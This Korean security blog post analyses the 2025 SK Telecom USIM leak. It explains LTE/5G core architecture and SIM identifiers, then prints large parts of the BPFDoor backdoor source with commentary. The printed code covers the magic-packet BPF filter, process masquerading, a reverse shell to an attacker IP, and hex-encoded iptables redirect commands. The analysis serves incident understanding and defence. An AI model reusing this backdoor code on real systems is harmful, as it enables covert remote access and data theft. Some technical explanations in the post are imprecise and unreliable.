Branding, UI Design Security / 2025-05-14 / by Ryan Adlard

SKT 유심 정보 유출

사고개요

2025년 4월 22일 SK텔레콤의 HSS에서 백도어코드로 가입자의 유심 정보가 대량 유출된 사태다. 악성코드인 BPFdoor의 백도어 공격으로 정보가 유출된 것으로 보인다. 뒤의 설명은 LTE와 5G의 구조 및 BPF 구조 분석이다.

Telcoware구성도

LTE 시스템 구조 :

UE(단말기) LTE chip을 내장하고 있어 LTE망에 붙을 수 있는 단말기
eNB(Evolved Node B) 무선 연결은 UE와 eNB간이고, 나머지는 유선 연결.
“LTE 기지국”이라 불리며 무선 연결을 제공하는 장비.
S-GW(Serving Gateway) 핸드오버 게이드 웨이, eNB1에 붙어서 인터넷을 사용하던 UE가 이동해 eNB1과 접속을 해지하고 eNB2와 접속을 하는 경우 S-GW가 역할 수행.
P-GW(Packet Data NetworkGateway) PDN 연동 게이트웨이, 단말에 IP 할당
PDN(Packet Data Network) 인터넷 망
MME(Mobility Management Entity) eNB와 S-GW간의 신호 제어를 담당하고 단말로부터 인입되는 데이터를 어느 곳으로 라우팅할지 결정
HSS(Home Subscriber Server) 각 UE별로 인증을 위한 Key 정보와 가입자 프로파일을 가지고 있는 LTE망의 중앙 DB
PCPF(Policy and Charging Rule Function) UE별로 정책과 과금에 대한 룰을 정하는 장비
SPR(Subscriber Profile Repository) UE별 Policy 및 Charging 룰은 PCRF에 저장되어 있지않고 여기에 저장
OFCS(Offline Charging System) P-GW가 전달해 주는 CDR을 받아 중앙에서 관리하는 장비
OCS(Online Charging System) 우리나라의 경우 후불제가 일반적이지만, 선불제를 사용하고 있는 해외 통신사업자

Telcoware구성도

5G 구성도 :

NG-RAN(Radio Access Network)는 UE와 eNB로 구성되어 있으며, 위의 LTE와 같이 구성되어 있다. 5G코어망은 5GC, NGC라고 불리며, 위는 데이터의 효율적인 전송에 관심 있다면, 여기는 제어하는 것을 중점적으로 다룬다. 크게 두가지로 분류하자면, 전체적인 제어를 담당하는 Control Plane과 데이터 패킷의 전송을 담당하는 User Plane다. CP는 UE의 인증, 이동성지원, UPF관리 등 수행하고, UP는 주로 패킷의 실제 라우팅 및 포워드 담당을 수행한다. 5G과 4G네트워크의 차이 :
1. RAN의 고주파, 광대역화
광대역이란 말은 위의 Air interface에 사용하는 주파수의 대역폭이 넓다는 의미입니다. LTE에서는 위의 표에서 제한이 되어있지만, 5G에선 이것의 약 20배 달하는 397.4 MHz의 대역을 사용 가능하다. 하지만 이 광대역이 할당된 Carrier 주파수가 고주파 대역이므로, 여러 물리적인 상황과 맞춰 5G 네트워크의 구조도 달라진다. 고주파의 특성으로 음영지역이 다수 발생하게 되고, 따라서 더 촘촘한 5G 기지국이 설치되어야 한다. 2. 본격적인 코어의 분리 및 유닛의 재배치
4G에서도 코어의 분리는 있었지만 본격적으로 코어를 나눈 건 5G부터다. MEC기반의 서버 가상화 입니다. MEC(Moblie Edge Computing)를 이용해 사용자 근접의 유저 데이터 서비스를 제공하기 위해서는 코어를 전진배치해야한다. 이때 모든 기능을 전진 배치하는 것은 현실적으로 무리가 있다. 4G에서도 실제 코어국사는 딱 두곳(구로, 혜화)이기 때문이다. 따라서 유저 데이터를 담당하는 UP를 전진 배치하고, CP는 코어국사에 위치 시키도록 하기위해 본격적인 코어의 분리가 진행되었다. 한국 SKT 같은 경우 5G가 4G를 감싸는 형태로, 같은 기지국, 코어망을 그대로 활용하는 NSA방식을 채택해 제어는 LTE가 하는 형태가 된다. 그래서 가끔씩 5g가 꺼지면 LTE로 변화하는 것도 이 때문이다. 해당 구조로 인해 5G나 4G나 접근하는 데는 차이가 없어 5G나 4G차이 없이 둘 다 위험할 가능성이 있다. 하지만 HSS같은 경우 통신망 내부에 위치해 있기 때문에 외부에서 접근하기엔 어려움이 있다.
유심 정보 종류 :
IMEI(International Mobile Equipment Identity) : 국제 모바일 기기 식별 15자리, 제조사/ 모델/일련번호 등의 정보를 포함, 듀얼 sim의 경우 sim 슬롯마다 서로 다른 IMEI가 부여한다.
| AA-BBBBBB-CCCCCC-D |
AA: 인증기관 고유 번호
BBBBBB: 단말기 제조사/모델명
CCCCCC: 단말기 일련번호
D: 체크섬 숫자
IMSI(Universal Subscriber Identity Modul) : 국제 이동 통신 시스템, 서비스 가입 시 휴대용 모바일 단말기에 할당되는 15자리 고유 식별 번호, 모바일 네트워크에서 사용자를 구별하는데 사용되며 전 세계 설룰러 네트워크에서 사용되는 유일한 구분자다.
구조는 MCC(Mobile Country Code)+MNC(Mobile Network code),+MSIN(Mobile Subscription Identification Number)로 되어있는데 MCC는 모바일 국가 코드 세자리, MNC는 모바일 네트워크 코드 두자리, 전화번호 10자리로 되어있으며, 전화번호에서 추출될 수 는 있지만, 항상 동일한 것은 아니다. 휴대폰 번호를 바꾸더라도 번호는 유지된다. 현재 유출 가능성이 있는 정보는 IMSI, ICCID, 유심 인증키, 가입자 전화번호 4종의 유심 정보와 21종의 유심 정보 처리 등에 필요한 회사 내부 관리용 정보가 털린 것으로 확인되었고, IMEI가 털린 정황은 없는 것으로 보인다.

BPFDoor

BPF는 Berkeley Packet Filter의 약자로 원래는 네트워크 트래픽을 분석해야 하는 프로그램을 위해 특정 OS에서 사용되는 기술이다. 이 기술을 응용하여 커널에서 특정 패킷을 가로채 쉘 권한을 획득하는 방식의 악성코드다.
아래는 유출 원인이 된 BPFDoor 백도어 프로그램의 기본 구조다.
Github에 올라와있는 코드 기준으로 분석했다.

Packet_loop함수 :

void packet_loop()
{
        int sock, r_len, pid, scli, size_ip, size_tcp;
        socklen_t psize;
        uchar buff[512];
        const struct sniff_ip *ip;
        const struct sniff_tcp *tcp;
        struct magic_packet *mp;
        const struct sniff_udp *udp;
        in_addr_t bip;
        char *pbuff = NULL;
        
        #
        # Filter Options Build Filter Struct
        #
 
        struct sock_fprog filter;
        struct sock_filter bpf_code[] = {
                { 0x28, 0, 0, 0x0000000c },
                { 0x15, 0, 27, 0x00000800 },
                { 0x30, 0, 0, 0x00000017 },
                { 0x15, 0, 5, 0x00000011 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 23, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x48, 0, 0, 0x00000016 },
                { 0x15, 19, 20, 0x00007255 },
                { 0x15, 0, 7, 0x00000001 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 17, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x48, 0, 0, 0x00000016 },
                { 0x15, 0, 14, 0x00007255 },
                { 0x50, 0, 0, 0x0000000e },
                { 0x15, 11, 12, 0x00000008 },
                { 0x15, 0, 11, 0x00000006 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 9, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x50, 0, 0, 0x0000001a },
                { 0x54, 0, 0, 0x000000f0 },
                { 0x74, 0, 0, 0x00000002 },
                { 0xc, 0, 0, 0x00000000 },
                { 0x7, 0, 0, 0x00000000 },
                { 0x48, 0, 0, 0x0000000e },
                { 0x15, 0, 1, 0x00005293 },
                { 0x6, 0, 0, 0x0000ffff },
                { 0x6, 0, 0, 0x00000000 },
        };
 
        filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
        filter.filter = bpf_code;
        # Build a rawsocket that binds the NIC to receive Ethernet frames
 
        if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
                return;
 
        # Set a packet filter
 
        if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
                return;
        }
 
 
        # Loop to Read Packets in 512 Chunks
 
 
        while (1) {
                memset(buff, 0, 512);
                psize = 0;
                r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL);
 
                ip = (struct sniff_ip *)(buff+14);
                size_ip = IP_HL(ip)*4;
                if (size_ip < 20) continue;
 
                // determine protocl from packet (offset 14)
                switch(ip->ip_p) {
                        case IPPROTO_TCP:
                                tcp = (struct sniff_tcp*)(buff+14+size_ip);
                                size_tcp = TH_OFF(tcp)*4;
                                mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
                                break;
                        case IPPROTO_UDP:
                                udp = (struct sniff_udp *)(ip+1);
                                mp = (struct magic_packet *)(udp+1);
                                break;
                        case IPPROTO_ICMP:
                                pbuff = (char *)(ip+1);
                                mp = (struct magic_packet *)(pbuff+8);
                                break;
                        default:
                                break;
                }
                
                # if magic packet is set process
 
                if (mp) {
                        if (mp->ip == INADDR_NONE)
                                bip = ip->ip_src.s_addr;
                        else
                                bip = mp->ip;
 
                        pid = fork();
                        if (pid) {
                                waitpid(pid, NULL, WNOHANG);
                        }
                        else {
                                int cmp = 0;
                                char sip[20] = {0};
                                char pname[] = {0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62, 0x65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73, 0x74, 0x66, 0x69, 0x78, 0x2f, 0x6d, 0x61, 0x73, 0x74, 0x65,
 0x72, 0x00}; // /usr/libexec/postfix/master
 
                                if (fork()) exit(0);
                                chdir("/");
                                setsid();
                                signal(SIGHUP, SIG_DFL);
                                memset(argv0, 0, strlen(argv0));
                                strcpy(argv0, pname); // sets process name (/usr/libexec/postfix/master) 
                                prctl(PR_SET_NAME, (unsigned long) pname);
 
                                rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
                                rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);
 
                                cmp = logon(mp->pass);
                                switch(cmp) {
                                        case 1:
                                                strcpy(sip, inet_ntoa(ip->ip_src));
                                                getshell(sip, ntohs(tcp->th_dport));
                                                break;
                                        case 0:
                                                scli = try_link(bip, mp->port);
                                                if (scli > 0)
                                                        shell(scli, NULL, NULL);
                                                break;
                                        case 2:
                                                mon(bip, mp->port);
                                                break;
                                }
                                exit(0);
                        }
                }
 
        }
        close(sock);
}

기능 : socket생성 후 Magic Packet을 이용해 특정 조건을 만족하는 패킷들만 감청. Magit packet은 WoL(Wake-on-Lan)이라는 원격으로 부팅하는 기술에서 사용되는 패킷이다. WoL을 사용하면 PC가 종료한 상태에서도 신호를 감지하고 있다가 특정 패킷일 들어오면 컴퓨터를 부팅 시켜주는 기술이다

SO_ATTACH_FILTER를 옵션에 넣어 커널에 보내고 BPF옵션 설정 가능.

bpf_code 변수는 code, jump ture, jump false, 다용도 필드 순으로 이루어져 있고 해당 코드가 ture일 경우 jump하는 구간과 아닐 경우 jump하는 구간을 설정해놓는데, 해당 코드는 특정 포트(29269,21139)의 패킷만 허용하고 나머지를 차단하는 구성으로 되어있다. BPF의 큰 특징으로, 사용자가 원하는 패킷만 허용하고 나머지는 reject하는 방식을 이용해 감지를 못하도록 만든게 특징이다.

필터링된 패킷을 프로토콜 별로 타입 결정.

Mp(Magic packet)생성 성공 후 프로세스 생성하고 해당 mp의 인증 처리(rc4로 암호화된 내용 복구)

위의 결과에 따라

1. Shell로 가는 포트를 포워딩 시키는 방식
0. 리버스 shell 방식으로, 공격자에게 피해자가 열어주는 방식
2. 인증 실패로 인한 ack 반환
로 나뉜다.
###b함수 :

int b(int *p)
{
        int port;
        struct sockaddr_in my_addr;
        int sock_fd;
        int flag = 1;
 
        if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ){
                return -1;
        }
 
        setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_addr.s_addr = 0;
 
        for (port = 42391; port < 43391; port++) {
                my_addr.sin_port = htons(port);
                if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
                        continue;
                }
                if( listen(sock_fd,1) == 0 ) {
                        *p = port;
                        return sock_fd;
                }
                close(sock_fd);
        }
        return -1;
}

기능 : 사용 가능한 포트 탐색 후 소켓 생성

w함수 :

int w(int sock)
{
        socklen_t size;
        struct sockaddr_in remote_addr;
        int sock_id;
 
        size = sizeof(struct sockaddr_in);
        if( (sock_id = accept(sock,(struct sockaddr *)&remote_addr, &size)) == -1 ){
                return -1;
        }
 
        close(sock);
        return sock_id;
 
}

기능 : 사용 가능한 포트 탐색 후 소켓 생성

Getshell 함수 :

void getshell(char *ip, int fromport)
{
        int  sock, sockfd, toport;
        char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
        char cmdfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
                        0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
                        0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
                        0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
                        0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
        char rcmdfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
                        0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
                        0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
                        0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
                        0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
        char inputfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
        char dinputfmt[] = {
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                        0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                        0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
 
        sockfd = b(&toport); // looks like it selects random ephemral port here
        if (sockfd == -1) return;
 
        snprintf(cmd, sizeof(cmd), inputfmt, ip);
        snprintf(dcmd, sizeof(dcmd), dinputfmt, ip);
        system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT 
        sleep(1);
        memset(cmd, 0, sizeof(cmd));
        snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport);
        snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport);
        system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
        sleep(1);
        sock = w(sockfd); // creates a sock that listens on port specified earlier
        if( sock < 0 ){
                close(sock);
                return;
        }
 
        //
        // passes sock and 
        // rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
        // dcmd =  /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT 
        //
        //
 
        shell(sock, rcmd, dcmd); 
        close(sock);
}

기능 : b, w 함수를 통해 소켓 포트 생성 후 해당 포트로 리다이렉션 되도록 만듬.

공격자 포트에서 선별한 포트로 리다이렉트하는 구문을 실행시키는 것을 확인 할 수 있다
위를 통해 Magic Packet이 감지되면 그때 소켓을 생성하는 방식으로 작동.
이 코드가 실행되더라도, 공격자가 특정 포트로 보낸 코드가 오지 않는다면 작동하지 않아 감지하기 어려운 특징인 코드다.
##사고 원인 HSS 시스템에 칩입한 해커의 악성코드로 가입자들의 유심 정보가 털렸다. 해당 수법은 중국 해커 그룹이 주로 사용하는 BPFDoor라는 백도어 해킹 수법이 사용된 것으로 파악됐다. 평소에는 해당 모듈이 통신 흔적 없이 조용히 있다가 특정 패킷이 들어오면 프로세스가 활성화되어, outbound로 통신 포트를 열게 된다. 백도어에서 명령어를 수행하고 정보를 보내 탈취하게 된다. 백도어는 서버에서 깔려 있을 때 안에서 공격자에게 패킷을 보내고 다시 공격자는 그 패킷에 대한 응답을 하면서 연결 유지를 통해 데이터를 빼가는 형식이다. 어떠한 경로로든 HSS에 악성 코드가 설치가 된 후 실행이 되었고, BPF 코드 특성상 네트워크 상의 탐지로는 탐지가 어렵기 때문에 유출을 늦게 확인된 것으로 보인다.

kisa 보호나라 보안공지

Kisa 보호나라 보안공지에서 해당 ip의 접근이나, 파일들이 확인이 되면 보호나라를 통해 침해 사고를 즉시 신고해달라고 공지를 올렸다.

사후대응방안

일단 SKT에선 USI 재발급을 통해 복제되는 유심에 대해 피해를 방지하고, 유심 보호 서비스를 이용해 해당 유심이 복제가 되었을 때 피해를 방지하고, 피해가 왔을 때 요구할 수 있도록 해야 한다. 만약 IMEI가 털렸을 경우 같은 단말기를 썼을 경우 털릴 가능성이 존재하지만 IMEI가 털린 정황은 보이지 않기에 유심 보호 서비스만으로 안전해질 가능성이 있다. 또한 kisa 보호나라에서는 관련 사칭 피싱을 조심하라고 공지하였다. 2차 피해로 생기는 예방 방법은 공식 채널 외 검색했을 때 출처가 불분명한 사이트 주소는 클릭 금지하거나, 앱 다운로드 유도 시 보호나라(카카오톡 채널) 내 스미싱 확인 서비스를 이용하여 신고 및 악성 여부를 판별하라고 공지하였다. 그리고 재부팅 같은 피싱 메시지가 왔을 경우 재부팅 시 복제된 폰으로 통신 권한이 넘어가기에 재부팅을 하지 않는 것이 좋다.##

예상되는 피해 시나리오

민감한 개인 정보가 털리지 않았기에 금융 정보나, 다른 개인 정보에 접근하는 것이 쉽지 않기에 만약 복제 폰으로 권한이 넘어간다면, 피싱 등으로 인한 2차 피해가 일어날 가능성이 높다. Kisa 보호나라 에서는 이런 사회적 이슈를 이용한 피싱 사례가 발견되어 공지를 올렸다. 유심 무상 교체 관련 검색 결과 노출되는 사이트가 도박 사이트로 연결되는 등 피싱을 당한 사례가 생기고 있다. 또한 유심 보호 서비스를 받지 않는다면, 유심 복제를 통한 사기로 피해자 및 주변 관련자의 피해는 오로지 피해자가 감당을 해야 한다. 사전 예방 방안 BPF코드를 해석해 보았을 때, BPF 방식으로 작동하는 패킷을 감지하는 방식을 추가할 필요가 있고, 사전에 이런 일을 방지하기 위해 관리자가 뭔가를 설치할 때 주의를 하는 방법이나 실행 파일을 관리자 권한으로 실행하지 않도록 하는 등원인을 제거하는 것이 가장 적절하다.

Tags:
Comments